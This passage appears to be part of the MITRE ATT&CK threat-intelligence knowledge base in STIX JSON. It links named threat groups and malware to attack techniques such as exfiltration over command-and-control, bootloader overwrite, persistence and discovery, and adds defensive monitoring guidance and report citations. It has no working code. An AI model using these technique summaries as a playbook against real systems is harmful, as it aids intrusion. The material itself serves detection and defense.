2018)","relationship_type":"uses","source_ref":"malware--288fa242-e894-4c7e-ac86-856deedf5cea","target_ref":"attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bda1324a-9c51-4d91-bf21-39209633b985","type":"relationship","created":"2021-10-12T21:48:40.553Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne NobleBaron June 2021","url":"https://labs.sentinelone.com/noblebaron-new-poisoned-installers-could-be-used-in-supply-chain-attacks/","description":"Guerrero-Saade, J. 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Retrieved November 4, 2020."}],"modified":"2020-11-06T18:02:10.616Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used e-mail to send exfiltrated data to C2 servers.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--61cfe134-e24e-490e-a298-40612df42832","type":"relationship","created":"2020-06-09T21:23:39.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. 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Retrieved May 18, 2020."}],"modified":"2020-06-29T22:47:34.564Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) has used QEMU and VirtualBox to run a Tiny Core Linux virtual machine, which runs XMRig and makes connections to the C2 server for updates.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--b5327dd1-6bf9-4785-a199-25bcbd1f4a9d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. 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(2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-20T18:30:30.662Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has utilized various scans and queries to find domain controllers and remote services in the target environment.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c51d9123-7f7e-41e6-8cf7-7c7dc4170ca0","type":"relationship","created":"2020-05-13T16:45:50.311Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Grim Spider May 2019","url":"https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/","description":"John, E. and Carvey, H. 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Retrieved May 12, 2020."}],"modified":"2020-05-15T18:52:17.609Z","description":"[Wizard Spider](https://attack.mitre.org/groups/G0102) has exfiltrated domain credentials and network enumeration information over command and control (C2) channels.(Citation: CrowdStrike Grim Spider May 2019)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--aaf68c56-f476-4952-a622-d9951212c2a2","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for changes made to files that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--5db19a58-c7ff-4de0-b9bd-9e3b247b2ff3","type":"relationship","created":"2022-01-07T15:11:27.782Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos ZxShell Oct 2014","url":"https://blogs.cisco.com/security/talos/opening-zxshell","description":"Allievi, A., et al. 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Retrieved September 24, 2019."}],"modified":"2022-01-07T15:11:27.782Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can transfer files from a compromised host.(Citation: Talos ZxShell Oct 2014)","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--76e8bb0f-83a5-462b-8f7d-3369da104e67","type":"relationship","created":"2022-03-10T18:23:25.653Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft WhisperGate January 2022","url":"https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/","description":"MSTIC. (2022, January 15). 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Retrieved March 10, 2022."},{"source_name":"Cisco Ukraine Wipers January 2022","url":" https://blog.talosintelligence.com/2022/01/ukraine-campaign-delivers-defacement.html","description":"Biasini, N. et al.. (2022, January 21). Ukraine Campaign Delivers Defacement and Wipers, in Continued Escalation. Retrieved March 14, 2022."},{"source_name":"Medium S2W WhisperGate January 2022","url":"https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3","description":"S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022."}],"modified":"2022-03-14T14:52:22.955Z","description":"[WhisperGate](https://attack.mitre.org/software/S0689) can overwrite the Master Book Record (MBR) on victim systems with a malicious 16-bit bootloader.(Citation: Microsoft WhisperGate January 2022)(Citation: Crowdstrike WhisperGate January 2022)(Citation: Cybereason WhisperGate February 2022)(Citation: Unit 42 WhisperGate January 2022)(Citation: Cisco Ukraine Wipers January 2022)(Citation: Medium S2W WhisperGate January 2022)","relationship_type":"uses","source_ref":"malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a2faf818-d21d-40a5-ad02-a3b1b2ee5d58","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf","description":"Fidelis Cybersecurity. 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Retrieved May 27, 2020."}],"modified":"2020-06-12T16:15:04.914Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has masqueraded as a JPG image file.(Citation: Eset Ramsay May 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1fb13108-14d6-498a-b474-c7fb71a3a586","type":"relationship","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.842Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g. unauthorized, gratuitous, or anomalous traffic patterns attempting to access internal and external websites and services). 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New KONNI Malware attacking Eurasia and Southeast Asia. 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Retrieved August 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/"}],"modified":"2020-03-17T02:18:35.271Z","description":"[QUADAGENT](https://attack.mitre.org/software/S0269) modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.(Citation: Unit 42 QUADAGENT July 2018)","relationship_type":"uses","source_ref":"malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e9475518-bc89-4120-9979-6a996b2de924","type":"relationship","created":"2021-08-24T20:03:35.993Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Feb 2021","url":"https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/","description":"M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos – A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."},{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. 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(2016, September 12). Smoke Loader – downloader with a smokescreen still alive. Retrieved March 20, 2018.","source_name":"Malwarebytes SmokeLoader 2016"}],"modified":"2019-06-24T19:07:12.616Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) downloads a new version of itself once it has installed. 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(2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019."}],"modified":"2019-09-23T23:14:16.675Z","description":"(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efbcf78d-5f55-489e-9c26-c8573dbfd9ae","type":"relationship","created":"2022-02-01T16:00:17.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."},{"source_name":"ESET Lazarus Jun 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021."},{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. 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(2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."}],"modified":"2020-06-15T20:49:55.573Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has the ability to identify running services on a compromised host.(Citation: Malwarebytes Dyreza November 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--fa7381ff-f2b8-4878-a9a0-10a703c7a5dd","type":"relationship","created":"2020-05-01T20:05:15.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. 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Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.554Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has attempted to install a scheduled task named “Java Maintenance64” on startup to establish persistence.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--fac15889-5e75-4d1d-b624-294581c299ca","created":"2020-11-25T22:46:47.790Z","x_mitre_version":"1.0","external_references":[{"source_name":"US District Court Indictment GRU Unit 74455 October 2020","url":"https://www.justice.gov/opa/press-release/file/1328521/download","description":"Scott W. Brady. (2020, October 15). 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[Sandworm Team](https://attack.mitre.org/groups/G0034) has also researched third-party websites to help it craft credible spearphishing emails.(Citation: US District Court Indictment GRU Unit 74455 October 2020)","modified":"2022-04-12T19:07:31.753Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--a0e6614a-7740-4b24-bd65-f1bde09fc365","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8448deaa-03b2-4a48-8a1e-424b9befbda7","type":"relationship","created":"2022-03-30T14:26:51.875Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.875Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--854edd76-3754-46fb-978e-74c1bb460bf2","created":"2022-03-30T14:26:51.876Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.","modified":"2022-04-19T03:12:08.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--69c1806d-e6ae-4c11-bce6-8fbebd8bbee5","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist fileless attacks Feb 2017","description":"Kaspersky Lab's Global Research and Analysis Team. (2017, February 8). Fileless attacks against enterprise networks. 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Retrieved September 1, 2021"}],"modified":"2021-10-07T16:28:04.669Z","description":"[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has obtained a variety of open-source reconnaissance and red team tools for discovery and lateral movement.(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--53356453-2cf1-46d9-ac8f-77fc3a2274d9","type":"relationship","created":"2020-05-29T20:09:48.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro TA505 June 2019","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/","description":"Hiroaki, H. and Lu, L. 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Retrieved May 29, 2020."}],"modified":"2020-06-17T19:18:13.843Z","description":"[TA505](https://attack.mitre.org/groups/G0092) has used fast flux to mask botnets by distributing payloads across multiple IPs.(Citation: Trend Micro TA505 June 2019)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"attack-pattern--29ba5a15-3b7b-4732-b817-65ea8f6468e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--72b30ddb-137c-4799-bacd-ab17aa2d01fc","type":"relationship","created":"2020-11-10T16:04:00.641Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DFIR Ryuk's Return October 2020","url":"https://thedfirreport.com/2020/10/08/ryuks-return/","description":"The DFIR Report. (2020, October 8). Ryuk’s Return. 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Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:29:42.035Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious attachments.(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95747003-2c4a-4e4a-ad9d-fde75f04f406","type":"relationship","created":"2021-01-22T13:48:21.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Chimera January 2021","url":"https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}],"modified":"2021-01-22T13:50:37.433Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used <code>net localgroup administrators</code> to identify  accounts with local administrative rights.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8235c444-415e-49ee-8ed9-10c24075be1f","type":"relationship","created":"2021-09-27T20:30:18.705Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."},{"source_name":"Kroll Qakbot June 2020","url":"https://www.kroll.com/en/insights/publications/cyber/qakbot-malware-exfiltrating-emails-thread-hijacking-attacks","description":"Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021."},{"source_name":"Trend Micro Qakbot December 2020","url":"https://success.trendmicro.com/solution/000283381","description":"Trend Micro. (2020, December 17). QAKBOT: A decade-old malware still with new tricks. Retrieved September 27, 2021."},{"source_name":"Kaspersky QakBot September 2021","url":"https://securelist.com/qakbot-technical-analysis/103931/","description":"Kuzmenko, A. et al. (2021, September 2). QakBot technical analysis. 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El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. 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Retrieved May 15, 2020."}],"modified":"2020-05-18T22:00:40.779Z","description":"[Lokibot](https://attack.mitre.org/software/S0447) has the ability to discover the computer name and Windows product name/version.(Citation: FSecure Lokibot November 2019)","relationship_type":"uses","source_ref":"malware--cb741463-f0fe-42e0-8d45-bc7e8335f5ae","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--16d9950c-e4fe-4488-9256-8e00a9b706a0","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). 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Retrieved November 15, 2018."}],"modified":"2020-03-20T23:57:45.660Z","description":"[GreyEnergy](https://attack.mitre.org/software/S0342) encrypts communications using RSA-2048.(Citation: ESET GreyEnergy Oct 2018)","relationship_type":"uses","source_ref":"malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--208c8563-1616-4c9a-8414-58423f17ac4c","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor executed commands and arguments for logon scripts","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--79633fcf-d22a-40f0-a9be-52fc0608825f","type":"relationship","created":"2020-08-27T21:22:39.755Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cycraft Chimera April 2020","url":"https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf","description":"Cycraft. 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Retrieved August 24, 2020."}],"modified":"2020-08-27T21:22:39.755Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has encoded PowerShell commands.(Citation: Cycraft Chimera April 2020)\t","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--82f14e35-47d1-4d6f-8d66-c8bcf62c336f","created":"2022-03-30T14:26:51.865Z","x_mitre_version":"0.1","external_references":[],"x_mitre_deprecated":false,"revoked":false,"description":"Monitor executed commands and arguments that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. 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[Gamaredon Group](https://attack.mitre.org/groups/G0047)'s backdoor malware has also been written to a batch file.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: ESET Gamaredon June 2020)(Citation: CERT-EE Gamaredon January 2021)(Citation: Unit 42 Gamaredon February 2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2ebd73f-9198-49c7-b446-00478a466e78","type":"relationship","created":"2019-02-21T21:17:37.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT39 Jan 2019","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html","description":"Hawley et al. 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Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-11T17:35:34.111Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has downloaded additional scripts and files from adversary-controlled servers.(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--75a1f636-76d3-4029-ae40-0a7a3b8d7eba","created":"2019-01-30T13:24:09.072Z","x_mitre_version":"1.0","external_references":[{"source_name":"Securelist Octopus Oct 2018","url":"https://securelist.com/octopus-infested-seas-of-central-asia/88200/","description":"Kaspersky Lab's Global Research & Analysis Team. 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Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[RCSession](https://attack.mitre.org/software/S0662) can be installed via DLL side-loading.(Citation: Secureworks BRONZE PRESIDENT 